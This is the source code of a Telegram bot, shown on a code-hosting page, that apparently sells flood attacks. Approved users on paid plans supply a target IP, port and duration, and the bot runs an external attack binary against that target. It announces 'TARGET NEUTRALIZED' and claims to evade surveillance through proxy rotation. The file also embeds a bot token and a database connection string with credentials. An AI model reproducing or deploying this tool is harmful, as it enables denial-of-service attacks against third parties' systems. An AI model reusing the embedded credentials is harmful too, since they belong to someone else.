-
Notifications
You must be signed in to change notification settings - Fork 0
/
sharp.py
248 lines (208 loc) Β· 9.82 KB
/
sharp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
import os
import telebot
import json
import requests
import logging
import time
from pymongo import MongoClient
from datetime import datetime, timedelta
import certifi
import random
from threading import Thread
import asyncio
from telebot.types import ReplyKeyboardMarkup, KeyboardButton
loop = asyncio.get_event_loop()
# Bot Configuration: Set with Authority
TOKEN = '7911502094:AAEzZXxWzDfwiVQ6Fbomgr2ROtxAd5oQQ-8'
ADMIN_USER_ID = 1182830278
MONGO_URI = 'mongodb+srv://sharp:[email protected]/?retryWrites=true&w=majority&appName=SharpX'
USERNAME = "@SharpX72" # Immutable username for maximum security
# Attack Status Variable to Control Single Execution
attack_in_progress = False
# Logging for Precision Monitoring
logging.basicConfig(format='%(asctime)s - βοΈ %(message)s', level=logging.INFO)
# MongoDB Connection - Operative Data Storage
client = MongoClient(MONGO_URI, tlsCAFile=certifi.where())
db = client['sharp']
users_collection = db.users
# Bot Initialization
bot = telebot.TeleBot(TOKEN)
REQUEST_INTERVAL = 1
blocked_ports = [8700, 20000, 443, 17500, 9031, 20002, 20001]
# Asyncio Loop for Operations
async def start_asyncio_thread():
asyncio.set_event_loop(loop)
await start_asyncio_loop()
# Proxy Update Command with Dark Authority
def update_proxy():
proxy_list = [] # Define proxies here
proxy = random.choice(proxy_list) if proxy_list else None
if proxy:
telebot.apihelper.proxy = {'https': proxy}
logging.info("π΄οΈ Proxy shift complete. Surveillance evaded.")
@bot.message_handler(commands=['update_proxy'])
def update_proxy_command(message):
chat_id = message.chat.id
try:
update_proxy()
bot.send_message(chat_id, f"π Proxy locked in. Weβre untouchable. Bot by {USERNAME}")
except Exception as e:
bot.send_message(chat_id, f"β οΈ Proxy config failed: {e}")
async def start_asyncio_loop():
while True:
await asyncio.sleep(REQUEST_INTERVAL)
# Attack Initiation - Operative Status Checks and Intensity
async def run_attack_command_async(target_ip, target_port, duration):
global attack_in_progress
attack_in_progress = True # Set the flag to indicate an attack is in progress
process = await asyncio.create_subprocess_shell(f"./sharp {target_ip} {target_port} {duration}")
await process.communicate()
attack_in_progress = False # Reset the flag after the attack is complete
notify_attack_finished(target_ip, target_port, duration)
# Final Attack Message Upon Completion
def notify_attack_finished(target_ip, target_port, duration):
bot.send_message(
ADMIN_USER_ID,
f"π₯ *MISSION ACCOMPLISHED!* π₯\n\n"
f"π― *TARGET NEUTRALIZED:* `{target_ip}`\n"
f"π£ *PORT BREACHED:* `{target_port}`\n"
f"β³ *DURATION:* `{duration} seconds`\n\n"
f"π₯ *Operation Complete. No Evidence Left Behind. Courtesy of {USERNAME}*",
parse_mode='Markdown'
)
@bot.message_handler(commands=['approve', 'disapprove'])
def approve_or_disapprove_user(message):
user_id = message.from_user.id
chat_id = message.chat.id
cmd_parts = message.text.split()
if user_id != ADMIN_USER_ID:
bot.send_message(chat_id, f"π« *Access Denied. Only {USERNAME} controls this realm.*", parse_mode='Markdown')
return
if len(cmd_parts) < 2:
bot.send_message(chat_id, f"π *Format: /approve <user_id> <plan> <days> or /disapprove <user_id>. Reserved by {USERNAME}*", parse_mode='Markdown')
return
action, target_user_id = cmd_parts[0], int(cmd_parts[1])
plan, days = (int(cmd_parts[2]) if len(cmd_parts) >= 3 else 0), (int(cmd_parts[3]) if len(cmd_parts) >= 4 else 0)
if action == '/approve':
limit_reached = (plan == 1 and users_collection.count_documents({"plan": 1}) >= 99) or \
(plan == 2 and users_collection.count_documents({"plan": 2}) >= 499)
if limit_reached:
bot.send_message(chat_id, f"β οΈ *Plan limit reached. Access denied. Controlled by {USERNAME}*", parse_mode='Markdown')
return
valid_until = (datetime.now() + timedelta(days=days)).date().isoformat() if days else datetime.now().date().isoformat()
users_collection.update_one(
{"user_id": target_user_id},
{"$set": {"plan": plan, "valid_until": valid_until, "access_count": 0}},
upsert=True
)
msg_text = f"*User {target_user_id} granted access β Plan {plan} for {days} days. Approved by {USERNAME}*"
else:
users_collection.update_one(
{"user_id": target_user_id},
{"$set": {"plan": 0, "valid_until": "", "access_count": 0}},
upsert=True
)
msg_text = f"*User {target_user_id} removed. Clearance by {USERNAME}*"
bot.send_message(chat_id, msg_text, parse_mode='Markdown')
@bot.message_handler(commands=['Attack'])
def attack_command(message):
global attack_in_progress
chat_id = message.chat.id
# Check if an attack is already in progress
if attack_in_progress:
bot.send_message(chat_id, f"β οΈ *An attack is already in progress. Please wait until it completes, {USERNAME}.*", parse_mode='Markdown')
return
user_id = message.from_user.id
try:
# Check user access
user_data = users_collection.find_one({"user_id": user_id})
if not user_data or user_data['plan'] == 0:
bot.send_message(chat_id, f"π« Unauthorized. Access limited to {USERNAME}.")
return
if user_data['plan'] == 1 and users_collection.count_documents({"plan": 1}) > 99:
bot.send_message(chat_id, f"π Plan 𧑠is full. Reach out to {USERNAME} for upgrades.")
return
if user_data['plan'] == 2 and users_collection.count_documents({"plan": 2}) > 499:
bot.send_message(chat_id, f"π₯ Instant++ Plan at capacity. Contact {USERNAME}.")
return
bot.send_message(chat_id, f"π Provide target details β IP, Port, Duration (seconds). Controlled by {USERNAME}")
bot.register_next_step_handler(message, process_attack_command)
except Exception as e:
logging.error(f"Attack command error: {e}")
def process_attack_command(message):
try:
args = message.text.split()
if len(args) != 3:
bot.send_message(message.chat.id, f"β οΈ *Format incorrect. Use: /Attack <IP> <Port> <Duration>. Maintained by {USERNAME}*", parse_mode='Markdown')
return
target_ip, target_port, duration = args[0], int(args[1]), args[2]
if target_port in blocked_ports:
bot.send_message(message.chat.id, f"π« *Port {target_port} restricted. Select a different entry point. Governed by {USERNAME}*", parse_mode='Markdown')
return
asyncio.run_coroutine_threadsafe(run_attack_command_async(target_ip, target_port, duration), loop)
bot.send_message(
message.chat.id,
f"π *β οΈ ATTACK INITIATED!* π\n\n"
f"π’ *SIGMA STRIKE IN EFFECT!* π’\n\n"
f"π― *TARGET SET:* `{target_ip}`\n"
f"π *PORT ACCESSED:* `{target_port}`\n"
f"β³ *DURATION LOCKED:* `{duration} seconds`\n\n"
f"π₯ *Unleashing force. No turning back. Powered by {USERNAME}* β‘",
parse_mode='Markdown'
)
except Exception as e:
logging.error(f"Error in process_attack_command: {e}")
def start_asyncio_thread():
asyncio.set_event_loop(loop)
loop.run_until_complete(start_asyncio_loop())
@bot.message_handler(commands=['start'])
def send_welcome(message):
# Unique, Intense Menu Options
markup = ReplyKeyboardMarkup(row_width=2, resize_keyboard=True, one_time_keyboard=True)
options = [
"π Initiate Attack π₯",
"π Status Report",
"π Mission Brief",
"π Contact HQ"
]
buttons = [KeyboardButton(option) for option in options]
markup.add(*buttons)
bot.send_message(
message.chat.id,
f"π *Welcome to Command, Agent. Choose your directive.* Managed by {USERNAME}",
reply_markup=markup,
parse_mode='Markdown'
)
@bot.message_handler(func=lambda message: True)
def handle_message(message):
if message.text == "π Initiate Attack π₯":
bot.reply_to(message, f"*Command received. Preparing deployment. Stand by, {USERNAME}*", parse_mode='Markdown')
attack_command(message)
elif message.text == "π Status Report":
user_id = message.from_user.id
user_data = users_collection.find_one({"user_id": user_id})
if user_data:
username = message.from_user.username
plan, valid_until = user_data.get('plan', 'N/A'), user_data.get('valid_until', 'N/A')
response = (f"*Agent ID: {username}\n"
f"Plan Level: {plan}\n"
f"Authorized Until: {valid_until}\n"
f"Timestamp: {datetime.now().isoformat()}. Verified by {USERNAME}*")
else:
response = f"*Profile unknown. Contact {USERNAME} for authorization.*"
bot.reply_to(message, response, parse_mode='Markdown')
elif message.text == "π Mission Brief":
bot.reply_to(message, f"*For support, type /help or contact {USERNAME} at HQ.*", parse_mode='Markdown')
elif message.text == "π Contact HQ":
bot.reply_to(message, f"*Direct Line to HQ: {USERNAME}*", parse_mode='Markdown')
else:
bot.reply_to(message, f"β*Unknown command. Focus, Agent. Managed by {USERNAME}*", parse_mode='Markdown')
if __name__ == "__main__":
asyncio_thread = Thread(target=start_asyncio_thread, daemon=True)
asyncio_thread.start()
logging.info("π Bot is operational and mission-ready.")
while True:
try:
bot.polling(none_stop=True)
except Exception as e:
logging.error(f"Polling error: {e}")